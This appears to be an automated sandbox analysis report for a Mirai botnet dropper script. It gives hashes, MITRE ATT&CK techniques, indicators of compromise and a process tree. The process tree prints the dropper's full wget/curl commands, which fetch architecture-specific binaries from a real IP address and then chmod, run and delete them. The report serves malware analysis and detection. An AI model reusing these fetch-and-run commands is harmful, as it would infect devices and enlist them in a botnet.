mirai | 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b

Analysis

max time kernel
139s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/07/2026, 12:51

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General

Target
5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
Size 4KB
Sample260705-p3qv3acv9z
SHA256 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b
MD5 f3e6cddc50b258c52641a7eb93544cb8
SHA1 1dc8d2dec9dd1f024239bae74e0c59a373449cf0
SHA512 2bfe52578ae634f149b4d8b2469092987beafc0d92aab9d8b68903a650286555acf952fc06a27967a9c626a93ab170a3647cbaa1ab27106ac67b2bc511df2d5d
SSDEEP 48:dxF7kFxzFkQxpzkLxfsc9suh/kQJx7Zkax19kPxVvkRxZHAavHAqBBkeaSx9pk4u:tA9Ysc9suhTXXYka8YVVddESdXpt
TLSH
T1F3A190F5B421E134B85DAA7B34F86181548BA8BB8D923D2475C93CE3204EF59B0D97B3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
821	chmod
833	chmod
729	chmod
771	chmod
777	chmod
795	chmod
800	chmod
827	chmod
840	chmod
672	chmod
705	chmod
765	chmod
783	chmod
807	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/ohshit.x86	673	5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ohshit.arm
File opened for modification	/dev/misc/watchdog	ohshit.arm
File opened for modification	/dev/watchdog	ohshit.arm7
File opened for modification	/dev/misc/watchdog	ohshit.arm7

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	ohshit.arm7
File opened for modification	/bin/watchdog	ohshit.arm7
File opened for modification	/sbin/watchdog	ohshit.arm
File opened for modification	/bin/watchdog	ohshit.arm

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/635/status	ohshit.arm
File opened for reading	/proc/810/status	ohshit.arm7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/297/cmdline	ohshit.arm
File opened for reading	/proc/1/status	ohshit.arm
File opened for reading	/proc/320/status	ohshit.arm
File opened for reading	/proc/300/cmdline	ohshit.arm7
File opened for reading	/proc/13/status	ohshit.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/326/cmdline	ohshit.arm
File opened for reading	/proc/313/status	ohshit.arm
File opened for reading	/proc/640/status	ohshit.arm
File opened for reading	/proc/166/cmdline	ohshit.arm7
File opened for reading	/proc/107/status	ohshit.arm7
File opened for reading	/proc/294/status	ohshit.arm7
File opened for reading	/proc/313/status	ohshit.arm7
File opened for reading	/proc/641/status	ohshit.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/286/cmdline	ohshit.arm
File opened for reading	/proc/577/cmdline	ohshit.arm
File opened for reading	/proc/107/status	ohshit.arm
File opened for reading	/proc/216/status	ohshit.arm
File opened for reading	/proc/300/status	ohshit.arm
File opened for reading	/proc/583/status	ohshit.arm
File opened for reading	/proc/7/status	ohshit.arm7
File opened for reading	/proc/149/status	ohshit.arm7
File opened for reading	/proc/659/status	ohshit.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/326/cmdline	ohshit.arm7
File opened for reading	/proc/564/cmdline	ohshit.arm7
File opened for reading	/proc/630/cmdline	ohshit.arm7
File opened for reading	/proc/97/status	ohshit.arm7
File opened for reading	/proc/564/status	ohshit.arm7
File opened for reading	/proc/583/status	ohshit.arm7
File opened for reading	/proc/642/status	ohshit.arm7
File opened for reading	/proc/812/status	ohshit.arm7
File opened for reading	/proc/6/status	ohshit.arm
File opened for reading	/proc/104/status	ohshit.arm
File opened for reading	/proc/158/status	ohshit.arm
File opened for reading	/proc/787/status	ohshit.arm
File opened for reading	/proc/579/cmdline	ohshit.arm7
File opened for reading	/proc/10/status	ohshit.arm7
File opened for reading	/proc/17/status	ohshit.arm7
File opened for reading	/proc/156/status	ohshit.arm7
File opened for reading	/proc/28/status	ohshit.arm
File opened for reading	/proc/294/status	ohshit.arm
File opened for reading	/proc/279/cmdline	ohshit.arm7
File opened for reading	/proc/584/cmdline	ohshit.arm7
File opened for reading	/proc/297/status	ohshit.arm7
File opened for reading	/proc/786/status	ohshit.arm7
File opened for reading	/proc/4/status	ohshit.arm
File opened for reading	/proc/5/status	ohshit.arm
File opened for reading	/proc/12/status	ohshit.arm
File opened for reading	/proc/784/status	ohshit.arm
File opened for reading	/proc/294/cmdline	ohshit.arm7
File opened for reading	/proc/5/status	ohshit.arm7
File opened for reading	/proc/21/status	ohshit.arm7
File opened for reading	/proc/22/status	ohshit.arm7
File opened for reading	/proc/279/status	ohshit.arm
File opened for reading	/proc/326/status	ohshit.arm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/286/status	ohshit.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
676	wget
681	curl
707	ohshit.mips
709	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ohshit.i686	wget
File opened for modification	/tmp/ohshit.ppc	curl
File opened for modification	/tmp/ohshit.spc	curl
File opened for modification	/tmp/ohshit.x86	curl
File opened for modification	/tmp/ohshit.x86_64	wget
File opened for modification	/tmp/ohshit.arm5	wget
File opened for modification	/tmp/ohshit.arm5	curl
File opened for modification	/tmp/ohshit.arm6	curl
File opened for modification	/tmp/ohshit.arm7	curl
File opened for modification	/tmp/ohshit.ppc	wget
File opened for modification	/tmp/ohshit.arc	curl
File opened for modification	/tmp/ohshit.i686	curl
File opened for modification	/tmp/ohshit.x86_64	curl
File opened for modification	/tmp/ohshit.mpsl	wget
File opened for modification	/tmp/ohshit.arm	wget
File opened for modification	/tmp/ohshit.arm6	wget
File opened for modification	/tmp/ohshit.spc	wget
File opened for modification	/tmp/ohshit.sh4	curl
File opened for modification	/tmp/ohshit.x86	wget
File opened for modification	/tmp/ohshit.mips	wget
File opened for modification	/tmp/ohshit.mpsl	curl
File opened for modification	/tmp/ohshit.arm	curl
File opened for modification	/tmp/ohshit.arm7	wget
File opened for modification	/tmp/ohshit.m68k	wget
File opened for modification	/tmp/ohshit.m68k	curl
File opened for modification	/tmp/ohshit.sh4	wget
File opened for modification	/tmp/ohshit.mips	curl
File opened for modification	/tmp/ohshit.arc	wget

/tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
/tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
  2⤵
  - Writes file to tmp directory
  PID:644
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/chmod
  chmod +x ohshit.x86
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/ohshit.x86
  ./ohshit.x86 Minor
  2⤵
  PID:673
- /bin/rm
  rm -f ohshit.x86
  2⤵
  PID:675
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:676
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:681
- /bin/chmod
  chmod +x ohshit.mips
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/ohshit.mips
  ./ohshit.mips Minor
  2⤵
  - System Network Configuration Discovery
  PID:707
- /bin/rm
  rm -f ohshit.mips
  2⤵
  - System Network Configuration Discovery
  PID:709
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x ohshit.arc
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/ohshit.arc
  ./ohshit.arc Minor
  2⤵
  PID:730
- /bin/rm
  rm -f ohshit.arc
  2⤵
  PID:732
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
  2⤵
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod +x ohshit.i686
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/ohshit.i686
  ./ohshit.i686 Minor
  2⤵
  PID:766
- /bin/rm
  rm -f ohshit.i686
  2⤵
  PID:768
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
  2⤵
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x ohshit.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/ohshit.x86_64
  ./ohshit.x86_64 Minor
  2⤵
  PID:772
- /bin/rm
  rm -f ohshit.x86_64
  2⤵
  PID:774
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
  2⤵
  - Writes file to tmp directory
  PID:775
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod +x ohshit.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/ohshit.mpsl
  ./ohshit.mpsl Minor
  2⤵
  PID:778
- /bin/rm
  rm -f ohshit.mpsl
  2⤵
  PID:780
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod +x ohshit.arm
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/ohshit.arm
  ./ohshit.arm Minor
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:784
- /bin/rm
  rm -f ohshit.arm
  2⤵
  PID:791
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod +x ohshit.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/ohshit.arm5
  ./ohshit.arm5 Minor
  2⤵
  PID:796
- /bin/rm
  rm -f ohshit.arm5
  2⤵
  PID:797
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod +x ohshit.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/ohshit.arm6
  ./ohshit.arm6 Minor
  2⤵
  PID:801
- /bin/rm
  rm -f ohshit.arm6
  2⤵
  PID:802
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
  2⤵
  - Writes file to tmp directory
  PID:803
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x ohshit.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/ohshit.arm7
  ./ohshit.arm7 Minor
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:808
- /bin/rm
  rm -f ohshit.arm7
  2⤵
  PID:815
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod +x ohshit.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/ohshit.ppc
  ./ohshit.ppc Minor
  2⤵
  PID:822
- /bin/rm
  rm -f ohshit.ppc
  2⤵
  PID:824
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
  2⤵
  - Writes file to tmp directory
  PID:825
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod +x ohshit.spc
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/ohshit.spc
  ./ohshit.spc Minor
  2⤵
  PID:828
- /bin/rm
  rm -f ohshit.spc
  2⤵
  PID:830
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
  2⤵
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod +x ohshit.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/ohshit.m68k
  ./ohshit.m68k Minor
  2⤵
  PID:834
- /bin/rm
  rm -f ohshit.m68k
  2⤵
  PID:837
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod +x ohshit.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/ohshit.sh4
  ./ohshit.sh4 Minor
  2⤵
  PID:841
- /bin/rm
  rm -f ohshit.sh4
  2⤵
  PID:843
- /bin/rm
  rm -f /tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
  2⤵
  PID:844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ohshit.x86

Path /tmp/ohshit.x86
Size 121KB
SHA256 3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a
MD5 59b98f52977620c5e3356981226afc7a
SHA1 95940e97688109bec4bb27124828abff8272119a
SHA512 dbf44d491da3af06e5df39e1187f0ff7ed47560c4aea16eac0a1389ce45985f47a1dfccefc9741ebceaef51aeda9ddf9af76d92362dd7b76a87397bc444d7d06
SSDEEP 3072:P43/Qco2DWxDoB7SFM2L3GeCxDYKDen621IS:P4vDDWtoB7iNLQle/IS
TLSH
T111C329C6E347C0FAE81508F1216BB73299B7C13F542BDA93EB654D61BD529828036BDC
MD5 SHA1 SHA512 SSDEEP TLSH

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads